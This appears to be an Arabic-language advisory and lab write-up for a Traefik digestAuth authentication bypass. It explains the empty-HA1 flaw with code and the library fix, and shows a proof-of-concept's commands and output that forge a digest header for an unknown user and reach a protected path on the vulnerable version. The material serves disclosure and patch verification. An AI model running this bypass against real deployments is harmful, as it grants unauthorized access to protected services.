
CVE-2026-85595 — تجاوز المصادقة في digestAuth في Traefik (اسم مستخدم غير معروف => HA1 فارغ). موثّق مختبريًا: تجاوز في v3.7.10، واستجابة 401 في v3.7.11.
digestAuth في Traefik للمستخدمين غير المعروفين (سر فارغ)المتأثر: Traefik < 2.11.55، و3.0.0 – 3.7.10
تم إصلاحه: 2.11.55 / 3.7.11
الإصلاح: commit b975dcaa8c48 في containous/go-http-auth "Reject DigestAuth when user secret is empty"، تم تضمينه في Traefik عبر commit 2116686308a2 (ترقية go.mod)
الاستشارة الأمنية: GHSA-4v96-rv7j-9wmr · CVSS 9.8 · CWE-287
تقوم وسيطة digest في Traefik باستخراج HA1 الخاص بالمستخدم عبر البحث الخاص بها عن السر
(pkg/middlewares/auth/digest_auth.go):
func (d *digestAuth) secretDigest(user, realm string) string {
if secret, ok := d.users[user+":"+realm]; ok {
return secret
}
return "" // unknown user -> empty secret, not a rejection
}
CheckAuth في go-http-auth يأخذ بعد ذلك "" كـ HA1 ويحسب
(digest.go:191-203 قبل الإصلاح):
HA1 := da.Secrets(auth["username"], da.Realm) // "" for an unknown user
HA2 := H(r.Method + ":" + auth["uri"])
KD := H(HA1 + ":" + auth["nonce"] + ":" + auth["nc"] + ":" + auth["cnonce"] + ":" + auth["qop"] + ":" + HA2)
PlainTextSecrets هي false بالنسبة إلى Traefik (ملف المستخدمين يحتوي بالفعل على HA1)، لذا يبقى HA1 سلسلة فارغة. كل مُدخل إلى KD باستثناء HA1 إما يتحكم فيه المهاجم أو يُمنح عبر تحدّي 401 (nonce، opaque)، وفحص uri يقبل مسار الطلب نفسه. وبالتالي يمكن حساب الاستجابة دون أي كلمة مرور ودون اسم مستخدم موجود في ملف المستخدمين.
الإصلاح عبارة عن ثلاثة أسطر في المكتبة:
HA1 := da.Secrets(auth["username"], da.Realm)
if HA1 == "" {
return "", nil
}
Traefik نفسه لم يحتج إلى أي تغيير في الشيفرة — فقط ترقية الاعتمادية — ولهذا فإن
الفرق (diff) الخاص بـ v3.7.11 لا يحتوي على أي مقطع digest_auth.go.
| الدور | الصورة | الحاوية | منفذ المضيف |
|---|---|---|---|
| وكيل معرّض للثغرة | traefik:v3.7.10 | poc-traefik-vuln-3710 | 127.0.0.1:21010 → :8000 |
| وكيل مُصلَّح | traefik:v3.7.11 | poc-traefik-3711 | 127.0.0.1:21011 → :8000 |
PathPrefix(/admin) على نقطة الدخول digest، والوسيط digestAuth
(realm=traefik-lab، usersFile=/etc/traefik/users.htdigest، removeHeader: true).admin:traefik-lab:6002799976b7f2610ec21f5961f9e2e5
(admin:traefik-lab:S3cretLabPass). المستخدم ghost الذي يستخدمه PoC غير موجود فيه.poc-traefik-app (python:3.12-alpine)، يقدّم ADMIN-AREA … للمسار /admin/*.lab/README.md.python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010 # vulnerable
python3 cve_2026_85595.py check --url http://127.0.0.1:21011 # fixed
--output FILE يكتب النص المفرَّغ؛ ويقوم --path و--user بتجاوز المسار الهدف واسم المستخدم المزوَّر.
traefik:v3.7.10 القابل للاستغلال — تجاوز$ python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010
[*] target : http://127.0.0.1:21010
[*] protected path : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode : exploit
[*] control (no credentials) -> HTTP 401
[*] challenge -> HTTP 401
Digest realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", opaque="kWFhikjHjyGSF8Yq", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost') -> ''
[*] forged response -> 33b1b9b9e57144f3c02045c22dbd2772
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="33b1b9b9e57144f3c02045c22dbd2772", opaque="kWFhikjHjyGSF8Yq"
[*] forged request -> HTTP 200
body: ADMIN-AREA secret admin panel for /admin/secret
request_line: GET /admin/secret HTTP/1.1
resolved_path: /admin/secret
=> PASS (digestAuth bypassed with unknown user 'ghost' and an empty HA1; protected content served with HTTP 200)
يسجّل سجل الوصول الخاص بالوكيل الهوية المزوّرة كمستخدم مُصادَق عليه
(ClientUsername هو الحقل الثاني بعد عنوان IP الخاص بالعميل):
192.168.48.1 - - [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 401 17 "-" "-" 1 "digest-lab@file" "-" 0ms
192.168.48.1 - ghost [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 200 118 "-" "-" 3 "digest-lab@file" "http://app:8080" 6ms
$ curl -sS -o /dev/null -w '%{http_code}\n' http://127.0.0.1:21010/admin/secret
401
traefik:v3.7.11 — رفض الملخص المزوّر$ python3 cve_2026_85595.py check --url http://127.0.0.1:21011
[*] target : http://127.0.0.1:21011
[*] protected path : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode : check
[*] control (no credentials) -> HTTP 401
[*] challenge -> HTTP 401
Digest realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", opaque="NL8YFCUjlmHaxmZP", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost') -> ''
[*] forged response -> 00cbf0f515f4663a98a223027faece2f
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="00cbf0f515f4663a98a223027faece2f", opaque="NL8YFCUjlmHaxmZP"
[*] forged request -> HTTP 401
body: 401 Unauthorized
=> PASS (fixed: forged digest for an unknown user rejected with HTTP 401)
nc)
بعد الاستخدام الواحد.digestAuth على إصدار
متأثر، وضد 2.11.x < 2.11.55.